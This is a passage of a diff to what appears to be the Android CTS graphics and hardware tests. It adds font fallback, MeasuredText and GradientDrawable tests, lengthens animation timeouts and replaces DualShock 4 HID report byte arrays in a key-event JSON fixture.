+ // Start from 1 since the first font family is already passed to the constructor.
+ for (int i = 1; i < Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount(); ++i) {
b.addCustomFallback(new FontFamily.Builder(font).build());
}
+ assertNotNull(b.build());
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testMaxCustomFallback_exceed_limits() throws IOException {
+ final AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
+ final Font font = new Font.Builder(am, "fonts/user_fallback/ascii.ttf").build();
+ final Typeface.CustomFallbackBuilder b = new Typeface.CustomFallbackBuilder(
+ new FontFamily.Builder(font).build());
+ // Start from 1 since the first font family is already passed to the constructor.
+ for (int i = 1; i < Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() + 1; ++i) {
+ b.addCustomFallback(new FontFamily.Builder(font).build());
+ }
+ }
+
+ @Test
+ public void testMaxCustomFallbackAtLeast64() throws IOException {
+ assertTrue(Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() >= 64);
+ }
+
+ @Test
+ public void testMaxCustomFallback_must_be_positive() {
+ assertTrue(Typeface.CustomFallbackBuilder.getMaxCustomFallbackCount() > 0);
}
@Test
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 3780124..1c1cebf5 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -271,7 +271,7 @@
cb.assertStarted(true);
// Extra time, to wait for the message to post.
- cb.waitForEnd(DURATION * 3);
+ cb.waitForEnd(DURATION * 20);
cb.assertEnded(true);
assertFalse(drawable.isRunning());
}
@@ -335,7 +335,7 @@
// Add extra duration to wait for the message posted by the end of the
// animation. This should help fix flakiness.
- cb.waitForEnd(DURATION * 3);
+ cb.waitForEnd(DURATION * 10);
cb.assertEnded(true);
}
@@ -386,7 +386,7 @@
cb.waitForEnd(DURATION * repeatCount);
cb.assertEnded(false);
- cb.waitForEnd(DURATION * 2);
+ cb.waitForEnd(DURATION * 20);
cb.assertEnded(true);
drawable.setRepeatCount(AnimatedImageDrawable.REPEAT_INFINITE);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
index d518668..570243c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTestUtils.java
@@ -24,13 +24,14 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
-import androidx.annotation.IntegerRes;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
import android.util.AttributeSet;
import android.util.Log;
import android.util.Xml;
+import androidx.annotation.IntegerRes;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
import junit.framework.Assert;
import org.xmlpull.v1.XmlPullParser;
@@ -173,11 +174,21 @@
int givenColor = actual.getPixel(x, y);
if (idealColor == givenColor)
continue;
+ if (Color.alpha(idealColor) + Color.alpha(givenColor) == 0) {
+ continue;
+ }
+ float idealAlpha = Color.alpha(idealColor) / 255.0f;
+ float givenAlpha = Color.alpha(givenColor) / 255.0f;
+
+ // compare premultiplied color values
float totalError = 0;
- totalError += Math.abs(Color.red(idealColor) - Color.red(givenColor));
- totalError += Math.abs(Color.green(idealColor) - Color.green(givenColor));
- totalError += Math.abs(Color.blue(idealColor) - Color.blue(givenColor));
+ totalError += Math.abs((idealAlpha * Color.red(idealColor))
+ - (givenAlpha * Color.red(givenColor)));
+ totalError += Math.abs((idealAlpha * Color.green(idealColor))
+ - (givenAlpha * Color.green(givenColor)));
+ totalError += Math.abs((idealAlpha * Color.blue(idealColor))
+ - (givenAlpha * Color.blue(givenColor)));
totalError += Math.abs(Color.alpha(idealColor) - Color.alpha(givenColor));
if ((totalError / 1024.0f) >= pixelThreshold) {
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index bf91296..ed3a54a 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -23,10 +23,12 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.content.Context;
import android.content.res.ColorStateList;
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorFilter;
@@ -565,6 +567,28 @@
assertEquals(Insets.of(1, 2, 3, 4), drawable.getOpticalInsets());
}
+ @Test
+ public void testInflationWithThemeAndNonThemeResources() {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final Theme theme = context.getResources().newTheme();
+ theme.applyStyle(R.style.Theme_MixedGradientTheme, true);
+ final Theme ctxTheme = context.getTheme();
+ ctxTheme.setTo(theme);
+
+ GradientDrawable drawable = (GradientDrawable)
+ ctxTheme.getDrawable(R.drawable.gradientdrawable_mix_theme);
+
+ Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(bitmap);
+ drawable.setBounds(0, 0, 10, 10);
+ drawable.draw(canvas);
+ int[] colors = drawable.getColors();
+ assertEquals(3, colors.length);
+ assertEquals(0, colors[0]);
+ assertEquals(context.getColor(R.color.colorPrimary), colors[1]);
+ assertEquals(context.getColor(R.color.colorPrimaryDark), colors[2]);
+ }
+
private void verifyPreloadDensityInner(Resources res, int densityDpi)
throws XmlPullParserException, IOException {
final Rect tempPadding = new Rect();
diff --git a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
index b030698..6c4b312 100644
--- a/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
+++ b/tests/tests/graphics/src/android/graphics/text/cts/MeasuredTextTest.java
@@ -17,6 +17,7 @@
package android.graphics.text.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
import android.content.Context;
import android.content.res.AssetManager;
@@ -54,9 +55,44 @@
.appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
}
+ @Test
+ public void testBuilder_FromExistingMeasuredText() {
+ String text = "Hello, World";
+ final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+ .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+ assertNotNull(new MeasuredText.Builder(mt)
+ .appendStyleRun(sPaint, text.length(), true /* isRtl */).build());
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testBuilder_FromExistingMeasuredText_differentLayoutParam() {
+ String text = "Hello, World";
+ final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+ .setComputeLayout(false)
+ .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+ new MeasuredText.Builder(mt)
+ .appendStyleRun(sPaint, text.length(), true /* isRtl */).build();
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testBuilder_FromExistingMeasuredText_differentHyphenationParam() {
+ String text = "Hello, World";
+ final MeasuredText mt = new MeasuredText.Builder(text.toCharArray())
+ .setComputeHyphenation(false)
+ .appendStyleRun(sPaint, text.length(), false /* isRtl */).build();
+ new MeasuredText.Builder(mt)
+ .setComputeHyphenation(true)
+ .appendStyleRun(sPaint, text.length(), true /* isRtl */).build();
+ }
+
@Test(expected = NullPointerException.class)
public void testBuilder_NullText() {
- new MeasuredText.Builder(null);
+ new MeasuredText.Builder((char[]) null);
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testBuilder_NullMeasuredText() {
+ new MeasuredText.Builder((MeasuredText) null);
}
@Test(expected = NullPointerException.class)
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
index ab69dd3..4271249 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -2,8 +2,18 @@
{
"name": "Press BUTTON_A",
"reports": [
- [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00],
- [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00]
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
+ 0xf4, 0xd7, 0xf4],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
],
"events": [
{"action": "DOWN", "keycode": "BUTTON_A"},
@@ -12,14 +22,267 @@
},
{
+ "name": "Press BUTTON_B",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+ 0x8a, 0xfe, 0xd4],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_B"},
+ {"action": "UP", "keycode": "BUTTON_B"}
+ ]
+ },
+
+ {
"name": "Press BUTTON_X",
"reports": [
- [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00],
- [0x01, 0x81, 0x7f, 0x7e, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00]
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
+ 0x4b, 0xc3, 0xe4],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
],
"events": [
{"action": "DOWN", "keycode": "BUTTON_X"},
{"action": "UP", "keycode": "BUTTON_X"}
]
+ },
+
+ {
+ "name": "Press BUTTON_Y",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36,
+ 0x76, 0xac, 0x94],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_Y"},
+ {"action": "UP", "keycode": "BUTTON_Y"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L1",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+ 0x8e, 0x09, 0x14],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L1"},
+ {"action": "UP", "keycode": "BUTTON_L1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R1",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x02, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7,
+ 0x79, 0x33, 0xce],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R1"},
+ {"action": "UP", "keycode": "BUTTON_R1"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L2",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4,
+ 0x91, 0x37, 0xa1],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_L2"},
+ {"action": "UP", "keycode": "BUTTON_L2"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R2",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2,
+ 0x41, 0x3e, 0x7f],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_R2"},
+ {"action": "UP", "keycode": "BUTTON_R2"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_L3",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x34, 0x62, 0x90],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+ {"action": "UP", "keycode": "BUTTON_THUMBL"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_R3",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,
+ 0x0a, 0x95, 0x1d],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+ {"action": "UP", "keycode": "BUTTON_THUMBR"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_SHARE",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef,
+ 0xe7, 0x5c, 0x18],
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+ 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+ 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+ 0x23, 0xe0, 0x5d]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+ {"action": "UP", "keycode": "BUTTON_SELECT"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_OPTIONS",
+ "reports": [
+ [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+ 0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
